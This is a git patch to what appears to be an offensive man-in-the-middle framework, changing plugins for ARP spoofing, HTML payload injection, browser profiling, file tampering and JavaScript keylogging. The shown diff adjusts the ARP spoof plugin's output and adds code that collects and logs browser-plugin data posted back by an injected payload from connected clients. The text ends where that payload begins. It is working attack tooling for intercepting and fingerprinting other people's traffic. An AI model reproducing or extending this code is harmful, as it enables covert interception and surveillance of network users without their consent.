From 1b6841f9c1e0628e54cee967e7c7e5bb7b07d0f0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 14 Jul 2014 13:17:34 +0200 Subject: [PATCH] plugins now handle their own output --- plugins/ArpSpoof.py | 2 +- plugins/BrowserProfiler.py | 18 +++++++++++++++++- plugins/FilePwn.py | 4 ++-- plugins/jskeylogger.py | 26 ++++++++++++++++++++++++- plugins/test.py | 16 ---------------- sslstrip/ServerConnection.py | 37 ++---------------------------------- 6 files changed, 47 insertions(+), 56 deletions(-) delete mode 100644 plugins/test.py diff --git a/plugins/ArpSpoof.py b/plugins/ArpSpoof.py index 0e17826..4059f04 100644 --- a/plugins/ArpSpoof.py +++ b/plugins/ArpSpoof.py @@ -36,7 +36,7 @@ class ArpSpoof(Plugin): if self.options.log_level == 'debug': self.debug = True - print "[*] %s plugin online" % self.name + print "[*] ARP Spoof plugin online" if self.setup == True: print '[*] Setting up ip_forward and iptables' file = open('/proc/sys/net/ipv4/ip_forward', 'w') diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 4ce27fb..f85c740 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -1,16 +1,32 @@ from plugins.plugin import Plugin from plugins.Inject import Inject +from pprint import pformat +import logging class BrowserProfiler(Inject, Plugin): name = "Browser Profiler" optname = "browserprofiler" desc = "Attempts to enumerate all browser plugins of connected clients" + implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"] has_opts = False def initialize(self,options): Inject.initialize(self, options) self.html_payload = self.get_payload() - print "[*] %s online" % self.name + print "[*] Browser Profiler online" + + def post2dict(self, string): + dict = {} + for line in string.split('&'): + t = line.split('=') + dict[t[0]] = t[1] + return dict + + def sendPostData(self, request): + #Handle the browserprofiler plugin output + if 'clientprfl' in request.uri: + out = pformat(self.post2dict(request.postData)) + logging.warning("%s Browser Profilerer data:\n%s" % (request.client.getClientIP(), out)) def get_payload(self): payload = """